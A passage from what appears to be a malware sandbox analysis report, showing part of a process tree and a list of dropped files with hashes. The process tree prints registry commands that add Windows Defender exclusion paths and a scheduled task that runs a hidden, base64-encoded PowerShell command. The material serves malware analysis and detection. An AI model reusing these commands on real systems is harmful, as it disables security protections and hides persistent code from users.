                                                                                                                                                                                                                    PID:5112
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:1892
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4324
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:2348
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LVCnHeNtpGpwKZds /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:5964
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LVCnHeNtpGpwKZds /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:6112
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /CREATE /TN "gNeYrIDgN" /SC once /ST 05:31:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                            PID:3748
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /run /I /tn "gNeYrIDgN"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1740
                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:4612

                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                            • C:\ProgramData\Are.docx

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              11KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              a33e5b189842c5867f46566bdbf7a095

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              e1c06359f6a76da90d19e8fd95e79c832edb3196

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

                                                                                                                                                                                                                            • C:\ProgramData\mozglue.dll

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              fef383de063d9a06313fef7706559216

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              ae4bc1e98fd31ef81be55445e68fadb1e12b9d2e

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              a07223dcca324c67db2503a62e049839577f5bdacf3ded6bd2454aafbb7fe649

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              f3c3816940245957764a17f708cef9822188669407dfee4faf967fa6831391d2c3a5041054b6238c986c802b391c45089502598d46d558988c16f4c0f271107f

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              e9bbe2a17f17f189b57d897e82ca168c

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              75638f84e3db80f805352cb902268db3e5f8d0e6

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              12b54437e0a095fcccf08f11c31dce1faebed94a66742025966ca350bfbf8dc0

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              863874727232e942fb6d45ea7ce1694efa2a414327e8a823f932f8fc72db149bf5d9cfc3e7e400ce621ee24ca422170080e37fa7adde3830c4c50b0d146e0911

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              724B

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              8202a1cd02e7d69597995cabbe881a12

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              8858d9d934b7aa9330ee73de6c476acf19929ff6

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              410B

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              efd179f6a8d0e8b37827201be10ea90d

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              7947ce4ddc66740d251fc40ad41a9fda2cae5180

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              a75002ba5bb8cfe3d27aa802a8b279a6043ebc67cf142c997e3f3eedada29133

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              4549b7506e21f1ff7f0242261f7d1ff5d2bc1abc40a1a1d7f2693f3082d2c7d5e1e206a275e8ea6b9cfcab151b2ea722939fd0ac1fa7edbb8ce3bf817ce814f8

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              392B

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              f656f216df8183e49e9aca6699613b90

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              47f02aa20960384c421c2fb5b2c8bc70859424ea

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              17cfe329e9a5e2406385479b2cfafb11082f039797a3483c6d7ae00429b69efc

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              6c97dcc93a2f592193f39f54946e441e205e07fc527de2f396f288e5c920a7171c909d72c78d97ecb6c3c4fe2ad05620efcdd4225a77122840a7e2a1a131a666

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\2ce63f7b-a340-4812-bb97-ddbf69b20b87.tmp

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              55KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              50302e65cb47e38c6996a173d92d04e3

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              a8962ca20660a13d9965d5146237853619aa986f

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              390e3ba7f27c9a8d92dbc8c716f799b785329d596a4718b8fc8bd7c7a5ac1ada

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              92ee7f2b445113e00e2ba5d5aa2cb5125d56daeb2059b213b635dd9052d4d4fd45f65a1e4cb80e5dcf415790f4b583cab8bb2b9ffa9d00a8ef31bb1d17cea78d

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              6KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              c8bb0c9748e5e42643c71507bb3e5b96

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              8eaa842c7787b73948bd3d6854f5efbd66fe7ebb

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              0673bce96a64d18933b66e03d7618a0acad90f8351f57a2a671f2b7dd150ab21

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              0e98345388fb0c8ed469188d175e8128d40c89f6673303958db99f5710851f448e6aa3c541a04ce113a718bf879932eb22f407f09326af580ab47abfa263ac6a

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              256KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              d3303bae634c7937c8eee59ea661dcad

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              bff96bcfc6fb4139b39e2075c09f5d983fd050ba

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              248642cd9eb6166159c7e8286aab2578ad438d874594c08080358a9b596cda47

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              9b2710e09994248bb8a66dbf1dd308796c2054997a28d54bf15d3e17e5a8bbb915fa9aec6e0fdd6c676045e573e1238b4b59d17450a3984c95b07d5817aa4e33

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS11A5.tmp\Install.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              256KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              046a306c101213a35362a8237177a2a0

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              08d391456847ee4b4e4da001bcec9ecde3f57c18

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              112430fef4299c623f6ae22d372887ed2e3f667e2c639c62a99f938862d43171

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              7338623e0061d7d8cd8430ceef4e3af6e72ef5e184780411b1b17a805f583182bb7e88af4254d5eca1ba92ea874229fd824d767eb705255c53d0454ebfd30997

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS11A5.tmp\Install.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              192KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              ce980b0374c62119c6af58d5daae97ff

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              2cee78d2c86ab6b520570603a5a701432830f915

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              3efe5d54f1ee2a1fe0f5bab51711f12fcc69e9d7581546b646eb0191403aff78

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              c8e8793c48731b27317560a4de9bcddc85503a3c3c5779899f3e78eecc5493d28cba173a41bd66cb30f881fea8f5890287be0d86499019d66983d099dea886d6

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS1A40.tmp\Install.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              256KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              f324b16d144a5b40f959a199bceee78e

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              0267c345f3a28f41c20a6457662788297cdc2364

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              424b5f556bc77142d9aa57c6940ae3b68f78e06f402f26d372684d336370a698

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              90f63a6b840fe19e40d5dcad926fc06264c1ec8a8ffdb02d7a2e8be1fd0de8a2a2376ba486e286d183e848d572994b642cc3291f289e12f3086465f0d7445685

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43hc2bq5.k3b.ps1

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              60B

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-J8KKB.tmp\HBZbjdUX0pRpCqEGONC_Y2ES.tmp

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              384KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              158dba6614f6b67878d0b2d9c39e97cd

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              fbf168bd7904fb5c4d8dbc1b3e4e69cfb4f4f27e

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              ffef14a678f5b2def1f921a4bc43ab2ad0838f003825ec21c65af29b26b63043

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              194ad1fb064d7091bc83b69d9d6cd6654778d3214e68e8ed303d4ec520065ce86eddd77df0698e7ed70a52827114cb2b1998ac2197bd2974d067511a8f3f633a

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-J8KKB.tmp\HBZbjdUX0pRpCqEGONC_Y2ES.tmp

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              448KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              2cdc1f1b74fdf3435106fc715a9a28f8

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              aa65f3c6a6c9aee4183b9b17d0b3eb8c47c531b3

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              f8baa0389f932a1c3999c756d6d860d13d1f343989963b5a620ba2f82c116e04

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              1e98aafc80ec47556175b634c2e1a6ee64b1cd59f631ea658619402fb111076c12e6ce49dd139f5ca93785c16411ec8e7581431edb819f8884dfc15aa5ff6640

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-M5GLC.tmp\_isetup\_iscrypt.dll

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              2KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              a69559718ab506675e907fe49deb71e9

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              bc8f404ffdb1960b50c12ff9413c893b56f2e36f

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-M5GLC.tmp\_isetup\_isdecmp.dll

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              13KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              a813d18268affd4763dde940246dc7e5

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              c7366e1fd925c17cc6068001bd38eaef5b42852f

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              e19781aabe466dd8779cb9c8fa41bbb73375447066bb34e876cf388a6ed63c64

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              b310ed4cd2e94381c00a6a370fcb7cc867ebe425d705b69caaaaffdafbab91f72d357966916053e72e68ecf712f2af7585500c58bb53ec3e1d539179fcb45fb4

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\WW9_64.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              128KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              20566b002f362a4bcda1e14730b2ed12

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              4d31cfdbcfcb6cf445e1ab45cee94d8f5cd24af4

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              b1209290fe1d8a47401abb920032be4e31d216a6b3b6241041845de4020a294c

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              ca7b7390638029abddce6fd1cf8ec9083da8ded88428504ab97292d6876fecf28a3db90b1cf113258036b5e2e5ddff13607a370261e84e21557e579661056def

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\WW9_64.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              2.6MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              51b8986dff69e4e76998a31c64b21fad

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              a677f18ed3e1c4aac01116357606b5bdbee3ac45

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              c1e1914eb3c9e80751b8b176316320a720273b73f4714bd4f71faf730a800c0b

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              66efcb0f5e201cd9154ed8695e48ec0cb00623ae6a5a2d4b8c37fed33bd5de71c14aa2df4de71b11897a0f35c350b626f309d50aa43317f3062b461c1ff2779c

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\python311.dll

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1.2MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              ebbfeeb784a5157f90fe24bffebfc17e

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              d7c8b5a4c15a72b71fd90ee59741e3199279f687

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              cbc2090b1b3f861a781db61f4af02eb7c91b5fe3badea38b04c6b73ca3e60b23

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              2fd80a30657c75b682ccd49012fac2f427ba1509fff897c01c5283786813455371154673ec52e944ea0e288f118012cdcd3454e58379335f98dc74e8dfd224f9

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\python311.dll

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              2.4MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              b900ee8eda806364320b6ee7ec61f162

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              b572fc3a3aece241b6d3cff09fac7a1d4838a287

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              4424e607c6670732c830155f3b93c906d1c3dd175e51fa163551c726526378a7

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              9029a2f1579c9d326ee16a645a494d58c3b2908efbbd60e60aa094c8adc71e6f76fc0062d3b57c9af521cb159ff66a8be72494efe467ebd5aaf99ae72ad5a01d

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\vcruntime140.dll

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              106KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              870fea4e961e2fbd00110d3783e529be

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              a948e65c6f73d7da4ffde4e8533c098a00cc7311

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1.9MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              59dd644ef3554b20453fc011561f9ffa

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              a7e0f68794e65e9a6b7ec2aa0f020b5aaa1dd6e3

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              5260044a2a292cf54922bf361f341da5511f0a70f2821a18ff83edfe9d1541e2

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              045aad59eb207bbf54b63e01a1cbc1b661a2d57b7d6b69d394e2556c98c28df67d790a4cf05f1c16dac2bee88c22e6577aeaeb3cfa831fadaac8e3e4ef0d04e7

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1.2MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              28734fda0ba6ef7d50b37a4ca83f3aab

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              e8062d6db3598d1524b06c0a651969ed95071aab

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              1bc45dfb9a36d4a74616e868503e1ff7fd666026fee21c4e2b72d485df9e8b26

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              55b65c7f71c964d8f32b4092a87dd642b8705c4069705d1833689c037553e9b80f4d321d9f3f9af13f4dcf1f1a628ce16e418f121a2698f8de8432b40b9c503c

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              8ed26917251fa6a3aa2644976ec7debc

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              7e7f800da94a91266a6ff9f131c8a14d9c7ddf96

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              e241024675c66a176eaabfc6524b3c6d812cb90c6cc141de487ad09295c8df35

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              634b1823da06bbf7bf7fabc2643cb9e488cae37ae015ef4d2c30c38eb89f97d12edc5a822b6ae00864be2532c3567e60f675eaef895582c6ae1e23434880ba21

                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              a5ce3aba68bdb438e98b1d0c70a3d95c

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              013f5aa9057bf0b3c0c24824de9d075434501354

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              9b860be98a046ea97a7f67b006e0b1bc9ab7731dd2a0f3a9fd3d710f6c43278a

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              7446f1256873b51a59b9d2d3498cef5a41dbce55864c2a5fb8cb7d25f7d6e6d8ea249d551a45b75d99b1ad0d6fb4b5e4544e5ca77bcd627717d6598b5f566a79

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\7cKnjzD2VH8mdogK6Yqc74fk.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              255KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              852f8672ad668dbef934f55b4d098973

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              75713a5a598e5eccb863f6670ff4e5738058a64e

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              5bd8c1d6809b1605876dc47c8a04312ebbbb7fc5d443ea81b1e3665c2fc34428

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              5dadb891221cf37f451e563e775f793146c549390f1cd8524462f000b4ccc7337451997f00f089082674744ba9cd9a387615394f7428f48b69c429587ede0426

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1.1MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              4cb49f0b5961b881ed21c1d875d8087b

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              b8378fe2119e1064c68916232b5d5bb4ca22b22a

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              b2d616323efea2d1303f933c34707a2bd6b4f0a60bd61a5aebdc40e0d91cb880

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              5288999a93c6b99d38cc6e681c776a86204142806de1d87b2ee5b3ed29a991e533324c39ae7757875bbae216d7c6dcab820dfcaa3e166e92ddbc2f3d862950aa

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1.7MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              f5f05b4e22852d699553f8399700342d

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              9becaafd8b9842a2f7ceb2d9c79e3f3a9e74780e

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              29fe182485dbd31a363209137010cd008aefc271e7106cc00b2b964d4924d05e

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              8493f4760ec2d2fb0c92b8061bc4fd971ac997a7bd11e7fb3d7fd4dfa2be871f4db36951793f9af1f175838437395370b2e95e13f4874d2c0d5289e6359f4596

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              3.4MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              61b46e3330294cfb1f16aebffead19a7

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              8171ae0853f7d0c9eac8821e3b345c8617d52864

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              4268a8b962ae3d55dcd7359124ed3166f3853f54ef3695194cdc78dc693a1c78

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              30128125b931896529ecd858bf1c11411f20d3f5e1821920c50151de3f3597b7b5ded72b563bbc5692fc31f97861dad036b0f7e650b64bc7e7eee405dc31dfb5

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              3.9MB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              4df6b172665dfb39cd972b1ea2fd663b

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              1a470b00871154f2c1b52df6c134758230480661

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              8447700d10f668efa15aba5b02e0a3d031d94a2be170a166d009a3f2cc0f7408

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              52fa2b79cb4cb746c1958a2499c08e41febf4fef5bf1a92a88f61cbb5416abfd2c7e8b7b72a72fda955e9e4eb66bad3ff09788fdca402d2baaaee8f0dfd0fca2

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe

                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              832KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              b4a5f81ac543e37fa2e28d62ac764573

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              370baa62a301cb0530c26fb90ba351a616ed64b5

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              9ee005f2b817593c32b70e89eb41906604ffe2e9b37589ddf5fe7e98a4ca0c7e

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              fc5478633abd380df7b27baf76e5bbe66a1c76c07a06b3ea63a74a68263d29a4561caefe582a657f1165f3e3dd49fd30a44cf6f5ff9dcc47d75270282e393642

                                                                                                                                                                                                                            • C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe

